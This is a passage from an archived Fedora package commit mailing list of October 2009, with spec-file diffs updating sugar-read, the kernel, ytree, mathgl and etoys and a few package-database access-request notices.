 Summary:        Simple Image viewer for Sugar
 
@@ -45,6 +45,9 @@ rm -rf  %{buildroot}
 
 
 %changelog
+* Sun Oct 11 2009 Sebastian Dziallas <sebastian at when.com> - 14-1
+- Updated Vietnamese translation
+
 * Sun Sep 27 2009 Sebastian Dziallas <sebastian at when.com> - 13-1
 - Updated translations for German, Portuguese and Mongolian
 



From sdz at fedoraproject.org  Sun Oct 11 13:31:45 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sun, 11 Oct 2009 13:31:45 +0000 (UTC)
Subject: rpms/sugar-read/devel .cvsignore, 1.5, 1.6 sources, 1.5,
	1.6 sugar-read.spec, 1.5, 1.6
Message-ID: <20091011133145.9ECAF11C0265@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/sugar-read/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4176

Modified Files:
	.cvsignore sources sugar-read.spec 
Log Message:
Fix pagination for IA Epubs
Updated Vietnamese translations



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-read/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	27 Sep 2009 17:47:24 -0000	1.5
+++ .cvsignore	11 Oct 2009 13:31:43 -0000	1.6
@@ -1 +1 @@
-Read-75.tar.bz2
+Read-76.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-read/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	27 Sep 2009 17:47:24 -0000	1.5
+++ sources	11 Oct 2009 13:31:44 -0000	1.6
@@ -1 +1 @@
-4bf1f0eca8d27523e6f5270a810fada5  Read-75.tar.bz2
+e07abfe5402ff1df4e079ed8392cd50f  Read-76.tar.bz2


Index: sugar-read.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-read/devel/sugar-read.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sugar-read.spec	27 Sep 2009 17:47:24 -0000	1.5
+++ sugar-read.spec	11 Oct 2009 13:31:44 -0000	1.6
@@ -1,5 +1,5 @@
 Name: sugar-read
-Version: 75
+Version: 76
 Release: 1%{?dist}
 Summary: A document reader for Sugar
 Group: Sugar/Activities
@@ -50,6 +50,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 11 2009 Sebastian Dziallas <sebastian at when.com> - 76-1
+- Fix pagination for IA Epubs
+- Updated Vietnamese translations
+
 * Sun Sep 27 2009 Sebastian Dziallas <sebastian at when.com> - 75-1
 - Fix search in Epub files (dslo #1319)
 - Updated translations for German, Mongolian and Portuguese



From sdz at fedoraproject.org  Sun Oct 11 13:32:06 2009
From: sdz at fedoraproject.org (Sebastian Dziallas)
Date: Sun, 11 Oct 2009 13:32:06 +0000 (UTC)
Subject: rpms/sugar-read/F-12 .cvsignore, 1.5, 1.6 sources, 1.5,
	1.6 sugar-read.spec, 1.5, 1.6
Message-ID: <20091011133206.1AC1011C0265@cvs1.fedora.phx.redhat.com>

Author: sdz

Update of /cvs/pkgs/rpms/sugar-read/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4414

Modified Files:
	.cvsignore sources sugar-read.spec 
Log Message:
Fix pagination for IA Epubs
Updated Vietnamese translations



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-read/F-12/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	27 Sep 2009 17:47:24 -0000	1.5
+++ .cvsignore	11 Oct 2009 13:32:03 -0000	1.6
@@ -1 +1 @@
-Read-75.tar.bz2
+Read-76.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-read/F-12/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	27 Sep 2009 17:47:24 -0000	1.5
+++ sources	11 Oct 2009 13:32:04 -0000	1.6
@@ -1 +1 @@
-4bf1f0eca8d27523e6f5270a810fada5  Read-75.tar.bz2
+e07abfe5402ff1df4e079ed8392cd50f  Read-76.tar.bz2


Index: sugar-read.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sugar-read/F-12/sugar-read.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sugar-read.spec	27 Sep 2009 17:47:24 -0000	1.5
+++ sugar-read.spec	11 Oct 2009 13:32:04 -0000	1.6
@@ -1,5 +1,5 @@
 Name: sugar-read
-Version: 75
+Version: 76
 Release: 1%{?dist}
 Summary: A document reader for Sugar
 Group: Sugar/Activities
@@ -50,6 +50,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 11 2009 Sebastian Dziallas <sebastian at when.com> - 76-1
+- Fix pagination for IA Epubs
+- Updated Vietnamese translations
+
 * Sun Sep 27 2009 Sebastian Dziallas <sebastian at when.com> - 75-1
 - Fix search in Epub files (dslo #1319)
 - Updated translations for German, Mongolian and Portuguese



From cebbert at fedoraproject.org  Sun Oct 11 13:37:50 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Sun, 11 Oct 2009 13:37:50 +0000 (UTC)
Subject: rpms/kernel/F-12 patch-2.6.31.4-rc2.bz2.sign, NONE, 1.1 .cvsignore, 
	1.1128, 1.1129 kernel.spec, 1.1857,
	1.1858 linux-2.6-compile-fixes.patch, 1.195, 1.196 sources,
	1.1086, 1.1087 upstream, 1.1000,
	1.1001 linux-2.6-frace-fixes.patch, 1.1, NONE
Message-ID: <20091011133750.24BB011C00EC@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5850

Modified Files:
	.cvsignore kernel.spec linux-2.6-compile-fixes.patch sources 
	upstream 
Added Files:
	patch-2.6.31.4-rc2.bz2.sign 
Removed Files:
	linux-2.6-frace-fixes.patch 
Log Message:
Linux 2.6.31.4-rc2
Drop merged patch: linux-2.6-frace-fixes.patch


--- NEW FILE patch-2.6.31.4-rc2.bz2.sign ---
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
Comment: See http://www.kernel.org/signature.html for info

iD8DBQBKz9RqyGugalF9Dw4RAqqwAJsHgo/2C7136Itq1MXx7s6CRXxHTgCggMai
hlt+pP4znd1q/PNMgeYqAhg=
=gUjK
-----END PGP SIGNATURE-----


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/.cvsignore,v
retrieving revision 1.1128
retrieving revision 1.1129
diff -u -p -r1.1128 -r1.1129
--- .cvsignore	8 Oct 2009 18:49:26 -0000	1.1128
+++ .cvsignore	11 Oct 2009 13:37:45 -0000	1.1129
@@ -6,3 +6,4 @@ temp-*
 kernel-2.6.31
 linux-2.6.31.tar.bz2
 patch-2.6.31.3.bz2
+patch-2.6.31.4-rc2.bz2


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1857
retrieving revision 1.1858
diff -u -p -r1.1857 -r1.1858
--- kernel.spec	11 Oct 2009 02:23:13 -0000	1.1857
+++ kernel.spec	11 Oct 2009 13:37:45 -0000	1.1858
@@ -40,9 +40,9 @@ Summary: The Linux kernel
 %if 0%{?released_kernel}
 
 # Do we have a -stable update to apply?
-%define stable_update 3
+%define stable_update 4
 # Is it a -stable RC?
-%define stable_rc 0
+%define stable_rc 2
 # Set rpm version accordingly
 %if 0%{?stable_update}
 %define stablerev .%{stable_update}
@@ -737,7 +737,6 @@ Patch12013: linux-2.6-rfkill-all.patch
 Patch12014: linux-2.6-selinux-module-load-perms.patch
 
 # patches headed for -stable
-Patch13000: linux-2.6-frace-fixes.patch
 
 # Raid10 lockdep fix
 Patch14002: linux-2.6-raidlockdep.patch
@@ -1381,7 +1380,6 @@ ApplyPatch linux-2.6-rfkill-all.patch
 ApplyPatch linux-2.6-selinux-module-load-perms.patch
 
 # patches headed for -stable
-ApplyPatch linux-2.6-frace-fixes.patch
 
 # Raid10 lockdep fix
 ApplyPatch linux-2.6-raidlockdep.patch
@@ -2045,6 +2043,10 @@ fi
 # and build.
 
 %changelog
+* Sun Oct 11 2009 Chuck Ebbert <cebbert at redhat.com>
+- Linux 2.6.31.4-rc2
+- Drop merged patch: linux-2.6-frace-fixes.patch
+
 * Sat Oct 10 2009 Chuck Ebbert <cebbert at redhat.com>
 - Make performance counter API available to userspace programs (#527264)
 

linux-2.6-compile-fixes.patch:
 svm.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

Index: linux-2.6-compile-fixes.patch
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/linux-2.6-compile-fixes.patch,v
retrieving revision 1.195
retrieving revision 1.196
diff -u -p -r1.195 -r1.196
--- linux-2.6-compile-fixes.patch	10 Jul 2009 21:10:10 -0000	1.195
+++ linux-2.6-compile-fixes.patch	11 Oct 2009 13:37:46 -0000	1.196
@@ -4,3 +4,19 @@
 # Please add the errors from gcc before the diffs to save others having
 # to do a compile to figure out what your diff is fixing. Thanks.
 #
+kvm: svm: fix build
+
+arch/x86/kvm/svm.c: In function 'svm_vcpu_load':
+arch/x86/kvm/svm.c:713: error: 'struct vcpu_svm' has no member named 'nested'
+
+--- linux-2.6.31.noarch.orig/arch/x86/kvm/svm.c
++++ linux-2.6.31.noarch/arch/x86/kvm/svm.c
+@@ -710,7 +710,7 @@ static void svm_vcpu_load(struct kvm_vcp
+ 		delta = vcpu->arch.host_tsc - tsc_this;
+ 		svm->vmcb->control.tsc_offset += delta;
+ 		if (is_nested(svm))
+-			svm->nested.hsave->control.tsc_offset += delta;
++			svm->hsave->control.tsc_offset += delta;
+ 		vcpu->cpu = cpu;
+ 		kvm_migrate_timers(vcpu);
+ 		svm->asid_generation = 0;


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/sources,v
retrieving revision 1.1086
retrieving revision 1.1087
diff -u -p -r1.1086 -r1.1087
--- sources	8 Oct 2009 18:49:28 -0000	1.1086
+++ sources	11 Oct 2009 13:37:47 -0000	1.1087
@@ -1,2 +1,3 @@
 84c077a37684e4cbfa67b18154390d8a  linux-2.6.31.tar.bz2
 24d60ad6645211e2c08dc1c1c578b249  patch-2.6.31.3.bz2
+f1fa28b0178eab2f486d2ac5e1120cc1  patch-2.6.31.4-rc2.bz2


Index: upstream
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/upstream,v
retrieving revision 1.1000
retrieving revision 1.1001
diff -u -p -r1.1000 -r1.1001
--- upstream	8 Oct 2009 18:49:28 -0000	1.1000
+++ upstream	11 Oct 2009 13:37:47 -0000	1.1001
@@ -1,2 +1,3 @@
 linux-2.6.31.tar.bz2
 patch-2.6.31.3.bz2
+patch-2.6.31.4-rc2.bz2


--- linux-2.6-frace-fixes.patch DELETED ---



From mintojoseph at fedoraproject.org  Sun Oct 11 14:28:00 2009
From: mintojoseph at fedoraproject.org (Minto Joseph)
Date: Sun, 11 Oct 2009 14:28:00 +0000 (UTC)
Subject: rpms/ytree/devel .cvsignore, 1.2, 1.3 sources, 1.2, 1.3 ytree.spec, 
	1.2, 1.3
Message-ID: <20091011142801.02A0C11C00EC@cvs1.fedora.phx.redhat.com>

Author: mintojoseph

Update of /cvs/pkgs/rpms/ytree/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18041

Modified Files:
	.cvsignore sources ytree.spec 
Log Message:

 Committing in .
 
 Modified Files:
 	.cvsignore sources ytree.spec 



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ytree/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	2 Jun 2009 07:33:57 -0000	1.2
+++ .cvsignore	11 Oct 2009 14:28:00 -0000	1.3
@@ -1 +1 @@
-ytree-1.92.tar.gz
+ytree-1.93.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ytree/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	2 Jun 2009 07:33:58 -0000	1.2
+++ sources	11 Oct 2009 14:28:00 -0000	1.3
@@ -1 +1 @@
-2afc8e4374b7fab32397354b3ffca510  ytree-1.92.tar.gz
+f1a989f331873b3be3eb18b7e936d6c7  ytree-1.93.tar.gz


Index: ytree.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ytree/devel/ytree.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- ytree.spec	27 Jul 2009 08:56:22 -0000	1.2
+++ ytree.spec	11 Oct 2009 14:28:00 -0000	1.3
@@ -1,7 +1,7 @@
 Summary: A filemanager similar to XTree
 Name: ytree
-Version: 1.92
-Release: 4%{?dist}
+Version: 1.93
+Release: 1%{?dist}
 
 License: GPLv2+
 Group: System Environment/Shells
@@ -37,8 +37,8 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/ytree
 
 %changelog
-* Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.92-4
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+* Sun Aug 30 2009 Minto Joseph <mvaliyav at redhat.com> - 1.93-1
+- Rebased to 1.93
 
 * Thu May 28 2009 Minto Joseph <mvaliyav at redhat.com> - 1.92-3
 - Cleaned up spec file



From mycae at fedoraproject.org  Sun Oct 11 14:50:05 2009
From: mycae at fedoraproject.org (mycae)
Date: Sun, 11 Oct 2009 14:50:05 +0000 (UTC)
Subject: rpms/mathgl/EL-5 mathgl-notexinfo.patch, NONE, 1.1 mathgl.spec, 1.2,
	1.3 mathgl-disable-texinfo-html.patch, 1.1, NONE
Message-ID: <20091011145005.865DC11C029E@cvs1.fedora.phx.redhat.com>

Author: mycae

Update of /cvs/pkgs/rpms/mathgl/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23885

Modified Files:
	mathgl.spec 
Added Files:
	mathgl-notexinfo.patch 
Removed Files:
	mathgl-disable-texinfo-html.patch 
Log Message:
* Fixed EPEL5 build by disabling swig generated octave support and texinfo


mathgl-notexinfo.patch:
 Makefile.am |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE mathgl-notexinfo.patch ---
--- Makefile.am	2009-10-11 07:50:30.000000000 -0600
+++ Makefile.am.new	2009-10-11 07:50:45.000000000 -0600
@@ -4,8 +4,8 @@
 doctargets =
 
 if USE_DOCS
-SUBDIRS += texinfo
-doctargets += install-html install-pdf
+SUBDIRS += 
+doctargets += 
 endif
 
 mgldest=$(DESTDIR)$(datadir)/$(PACKAGE)/fonts


Index: mathgl.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mathgl/EL-5/mathgl.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- mathgl.spec	14 Sep 2009 12:20:40 -0000	1.2
+++ mathgl.spec	11 Oct 2009 14:50:03 -0000	1.3
@@ -1,7 +1,7 @@
 %{!?octave_api:%global octave_api %(octave-config -p API_VERSION || echo 0)}
 Name: mathgl
 Version: 1.9
-Release: 6%{?dist}
+Release: 7%{?dist}
 Summary: Cross-platform library for making high-quality scientific graphics
 Summary(ru): MathGL - ??? ?????????? ??? ????????????? ?????????????????? ???????????? ??????
 License: GPLv2+
@@ -19,8 +19,8 @@ Patch2: %{name}-info.patch
 Patch3: %{name}-no-mglwx.patch
 #Allow autoconf 2.59 to work
 Patch4: %{name}-allow-autoconf-2p59.patch
-#disable texi2html (which crashes)
-Patch5: %{name}-disable-texinfo-html.patch
+#disable texi2html (which crashes, newer texinfo (at least F10+) is OK)
+Patch5: %{name}-notexinfo.patch
 
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -62,17 +62,18 @@ developing applications that use %{name}
 ????? %{name}-devel ???????? ?????????? ? ????? ?????????? ??????????? 
 ??? ?????????? ?????????? ? ?????????????? %{name}.
 
-%package doc
-Group:		Documentation
-Summary:	HTML documentation and tutorial for the %{name} applications
-
-BuildArch:	noarch
-BuildRequires:	texi2html texinfo-tex	
-
-
-%description doc
-This package contains the documentation in the HTML format of the %{name}
-package.
+#Doc package disabled pedning texi2html update to non-crashing version
+#%package doc
+#Group:		Documentation
+#Summary:	HTML documentation and tutorial for the %{name} applications
+#
+#BuildArch:	noarch
+#BuildRequires:	texi2html texinfo-tex	
+#
+#
+#%description doc
+#This package contains the documentation in the HTML format of the %{name}
+#package.
 
 %prep
 %setup -q
@@ -121,46 +122,52 @@ make install DESTDIR=$RPM_BUILD_ROOT INS
 #Trash the .la files that get generated anyway (faulty configure? Doesn't appear up without --disable-ltdtl-install)
 rm -f $RPM_BUILD_ROOT/%{_libdir}/*.la
 
+#OCTAVE IS DISABLED pending EPEL SWIG support (eg 1.3.39)
+#====
 
-#Fix up octave .oct file install
-mkdir -p temp-octave
-
-pushd .
-cd temp-octave
-#Decompress tarballed "oct" file and remove tarball
-tar -zxf $RPM_BUILD_ROOT/%{_datadir}/%{name}/octave/%{name}.tar.gz
-rm $RPM_BUILD_ROOT/%{_datadir}/%{name}/octave/%{name}.tar.gz
-
-#Copy the .oct file and supporting files to octave packages dir
-mkdir -p $RPM_BUILD_ROOT/%{_prefix}/libexec/octave/packages/%{name}-1.9.0/
-#Remove empty INDEX file
-rm %{name}/INDEX
-
-#We cannot use version macro with octave package search,
-# as pkg.m assumes a x.y.z format for packages. Failing
-# to do this renders the plugin inoperable
-cp -pR %{name}/inst/* $RPM_BUILD_ROOT/%{_prefix}/libexec/octave/packages/%{name}-1.9.0/
-
-#packinfo dir is required, or octave will not find the dir in recursive search
-mkdir -p $RPM_BUILD_ROOT/%{_datadir}/octave/packages/%{name}-1.9.0/packinfo
-cp -p %{name}/[A-Z]* $RPM_BUILD_ROOT/%{_datadir}/octave/packages/%{name}-1.9.0/packinfo
-
-popd
-
-
-
-pushd .
-#Lets build a "docs" dir to maintain the dir relationships needed for html files
-mkdir -p  texinfo/docs
-cd texinfo/docs/
-cp -pr ../mathgl.html .
-cp -pr ../png_static .
-cp -pr ../png/ .
-
-#remove zero length faux PNG file
-rm -f png/all.png
-
-popd
+##Fix up octave .oct file install
+#mkdir -p temp-octave
+#
+#pushd .
+#cd temp-octave
+##Decompress tarballed "oct" file and remove tarball
+#tar -zxf $RPM_BUILD_ROOT/%{_datadir}/%{name}/octave/%{name}.tar.gz
+#rm $RPM_BUILD_ROOT/%{_datadir}/%{name}/octave/%{name}.tar.gz
+#
+##Copy the .oct file and supporting files to octave packages dir
+#mkdir -p $RPM_BUILD_ROOT/%{_prefix}/libexec/octave/packages/%{name}-1.9.0/
+##Remove empty INDEX file
+#rm %{name}/INDEX
+#
+##We cannot use version macro with octave package search,
+## as pkg.m assumes a x.y.z format for packages. Failing
+## to do this renders the plugin inoperable
+#cp -pR %{name}/inst/* $RPM_BUILD_ROOT/%{_prefix}/libexec/octave/packages/%{name}-1.9.0/
+#
+##packinfo dir is required, or octave will not find the dir in recursive search
+#mkdir -p $RPM_BUILD_ROOT/%{_datadir}/octave/packages/%{name}-1.9.0/packinfo
+#cp -p %{name}/[A-Z]* $RPM_BUILD_ROOT/%{_datadir}/octave/packages/%{name}-1.9.0/packinfo
+#
+#popd
+#=====
+
+
+#DOCS disabled pending texinfo update
+#====
+#pushd .
+##Lets build a "docs" dir to maintain the dir relationships needed for html files
+#mkdir -p  texinfo/docs
+#cd texinfo/docs/
+#cp -pr ../mathgl.html .
+#cp -pr ../png_static .
+#cp -pr ../png/ .
+#
+##remove zero length faux PNG file
+#rm -f png/all.png
+#
+#popd
+#
+#====
 
 #remove installed docs, which we are installing via doc macro
 rm -rf $RPM_BUILD_ROOT/%{_docdir}/%{name}
@@ -192,9 +199,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/*.so.*
 %{_bindir}/mgl*
 %{_datadir}/%{name}/
-%{_prefix}/libexec/octave/packages/%{name}-1.9.0/
-%{_datadir}/octave/packages/%{name}-1.9.0/
-%{_infodir}/%{name}.*.gz
+#%{_prefix}/libexec/octave/packages/%{name}-1.9.0/
+#%{_datadir}/octave/packages/%{name}-1.9.0/
+#%{_infodir}/%{name}.*.gz
 
 
 %files devel
@@ -202,11 +209,14 @@ rm -rf $RPM_BUILD_ROOT
 %{_includedir}/mgl/
 %{_libdir}/*.so
 
-%files doc
-%defattr(-,root,root,-)
-%doc texinfo/docs/*
-
+#%files doc
+#%defattr(-,root,root,-)
+#%doc texinfo/docs/*
+#
 %changelog
+* Mon Oct 12 2009 <mycae(a!t)yahoo.com> 1.9-7
+- Fixed EPEL 5 build by disabling octave (swig too old) and texi generation
+
 * Mon Sep 14 2009 <mycae(a!t)yahoo.com> 1.9-6
 - Add COPYING to doc
 


--- mathgl-disable-texinfo-html.patch DELETED ---



From mintojoseph at fedoraproject.org  Sun Oct 11 14:54:55 2009
From: mintojoseph at fedoraproject.org (Minto Joseph)
Date: Sun, 11 Oct 2009 14:54:55 +0000 (UTC)
Subject: rpms/ytree/F-11 .cvsignore, 1.2, 1.3 sources, 1.2, 1.3 ytree.spec,
	1.1, 1.2
Message-ID: <20091011145455.7650511C00EC@cvs1.fedora.phx.redhat.com>

Author: mintojoseph

Update of /cvs/pkgs/rpms/ytree/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26150

Modified Files:
	.cvsignore sources ytree.spec 
Log Message:

 Committing in .
 
 Modified Files:
 	.cvsignore sources ytree.spec 



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ytree/F-11/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	2 Jun 2009 07:54:11 -0000	1.2
+++ .cvsignore	11 Oct 2009 14:54:55 -0000	1.3
@@ -1 +1 @@
-ytree-1.92.tar.gz
+ytree-1.93.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ytree/F-11/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	2 Jun 2009 07:54:11 -0000	1.2
+++ sources	11 Oct 2009 14:54:55 -0000	1.3
@@ -1 +1 @@
-2afc8e4374b7fab32397354b3ffca510  ytree-1.92.tar.gz
+f1a989f331873b3be3eb18b7e936d6c7  ytree-1.93.tar.gz


Index: ytree.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ytree/F-11/ytree.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- ytree.spec	2 Jun 2009 07:54:11 -0000	1.1
+++ ytree.spec	11 Oct 2009 14:54:55 -0000	1.2
@@ -1,7 +1,7 @@
 Summary: A filemanager similar to XTree
 Name: ytree
-Version: 1.92
-Release: 3%{?dist}
+Version: 1.93
+Release: 1%{?dist}
 
 License: GPLv2+
 Group: System Environment/Shells
@@ -37,6 +37,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/ytree
 
 %changelog
+* Sun Aug 30 2009 Minto Joseph <mvaliyav at redhat.com> - 1.93-1
+- Rebased to 1.93
+
 * Thu May 28 2009 Minto Joseph <mvaliyav at redhat.com> - 1.92-3
 - Cleaned up spec file
 



From mintojoseph at fedoraproject.org  Sun Oct 11 15:07:28 2009
From: mintojoseph at fedoraproject.org (Minto Joseph)
Date: Sun, 11 Oct 2009 15:07:28 +0000 (UTC)
Subject: rpms/ytree/F-12 .cvsignore, 1.2, 1.3 sources, 1.2, 1.3 ytree.spec,
	1.2, 1.3
Message-ID: <20091011150728.8ADFF11C00EC@cvs1.fedora.phx.redhat.com>

Author: mintojoseph

Update of /cvs/pkgs/rpms/ytree/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29559

Modified Files:
	.cvsignore sources ytree.spec 
Log Message:

 Committing in .
 
 Modified Files:
 	.cvsignore sources ytree.spec 



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/ytree/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	2 Jun 2009 07:33:57 -0000	1.2
+++ .cvsignore	11 Oct 2009 15:07:26 -0000	1.3
@@ -1 +1 @@
-ytree-1.92.tar.gz
+ytree-1.93.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/ytree/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	2 Jun 2009 07:33:58 -0000	1.2
+++ sources	11 Oct 2009 15:07:27 -0000	1.3
@@ -1 +1 @@
-2afc8e4374b7fab32397354b3ffca510  ytree-1.92.tar.gz
+f1a989f331873b3be3eb18b7e936d6c7  ytree-1.93.tar.gz


Index: ytree.spec
===================================================================
RCS file: /cvs/pkgs/rpms/ytree/F-12/ytree.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- ytree.spec	27 Jul 2009 08:56:22 -0000	1.2
+++ ytree.spec	11 Oct 2009 15:07:27 -0000	1.3
@@ -1,7 +1,7 @@
 Summary: A filemanager similar to XTree
 Name: ytree
-Version: 1.92
-Release: 4%{?dist}
+Version: 1.93
+Release: 1%{?dist}
 
 License: GPLv2+
 Group: System Environment/Shells
@@ -37,8 +37,8 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/ytree
 
 %changelog
-* Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.92-4
-- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+* Sun Aug 30 2009 Minto Joseph <mvaliyav at redhat.com> - 1.93-1
+- Rebased to 1.93
 
 * Thu May 28 2009 Minto Joseph <mvaliyav at redhat.com> - 1.92-3
 - Cleaned up spec file



From pkgdb at fedoraproject.org  Sun Oct 11 15:10:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 15:10:23 +0000
Subject: [pkgdb] ytree: sundaram has requested watchbugzilla
Message-ID: <20091011151024.1FE1710F875@bastion2.fedora.phx.redhat.com>

sundaram has requested the watchbugzilla acl on ytree (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ytree



From pkgdb at fedoraproject.org  Sun Oct 11 15:10:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 15:10:26 +0000
Subject: [pkgdb] ytree: sundaram has requested watchcommits
Message-ID: <20091011151027.EA99310F875@bastion2.fedora.phx.redhat.com>

sundaram has requested the watchcommits acl on ytree (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ytree



From pkgdb at fedoraproject.org  Sun Oct 11 15:10:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 15:10:33 +0000
Subject: [pkgdb] ytree: sundaram has requested commit
Message-ID: <20091011151033.3FB4F10F875@bastion2.fedora.phx.redhat.com>

sundaram has requested the commit acl on ytree (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ytree



From pkgdb at fedoraproject.org  Sun Oct 11 15:10:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sun, 11 Oct 2009 15:10:35 +0000
Subject: [pkgdb] ytree: sundaram has requested approveacls
Message-ID: <20091011151035.456DC10F882@bastion2.fedora.phx.redhat.com>

sundaram has requested the approveacls acl on ytree (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/ytree



From tuxbrewr at fedoraproject.org  Sun Oct 11 16:15:24 2009
From: tuxbrewr at fedoraproject.org (Steven M. Parrish)
Date: Sun, 11 Oct 2009 16:15:24 +0000 (UTC)
Subject: rpms/etoys/F-12 .cvsignore, 1.8, 1.9 etoys.spec, 1.10, 1.11 sources,
	1.9, 1.10
Message-ID: <20091011161524.D203211C00EC@cvs1.fedora.phx.redhat.com>

Author: tuxbrewr

Update of /cvs/pkgs/rpms/etoys/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17402

Modified Files:
	.cvsignore etoys.spec sources 
Log Message:
New upstream release 2332


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/etoys/F-12/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	12 Sep 2009 13:44:24 -0000	1.8
+++ .cvsignore	11 Oct 2009 16:15:23 -0000	1.9
@@ -1 +1 @@
-etoys-4.0.2279.tar.gz
+etoys-4.0.2332.tar.gz


Index: etoys.spec
===================================================================
RCS file: /cvs/pkgs/rpms/etoys/F-12/etoys.spec,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- etoys.spec	1 Oct 2009 11:44:06 -0000	1.10
+++ etoys.spec	11 Oct 2009 16:15:23 -0000	1.11
@@ -1,5 +1,5 @@
 %define name    etoys
-%define version 4.0.2319
+%define version 4.0.2332
 %define release 1%{?dist}
 %define source  %{name}-%{version}
 
@@ -136,6 +136,9 @@ update-desktop-database &> /dev/null || 
 %endif
 
 %changelog
+* Sun Oct 11 2009 Steven M. Parrish <smparrish at gmail.com> - 4.0.2332-1
+- lastest upstream release 4.0.2332
+
 * Thu Oct 1 2009 Steven M. Parrish <smparrish at gmail.com> - 4.0.2319-1
 - lastest upstream release 4.0.2319	
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/etoys/F-12/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	1 Oct 2009 11:44:06 -0000	1.9
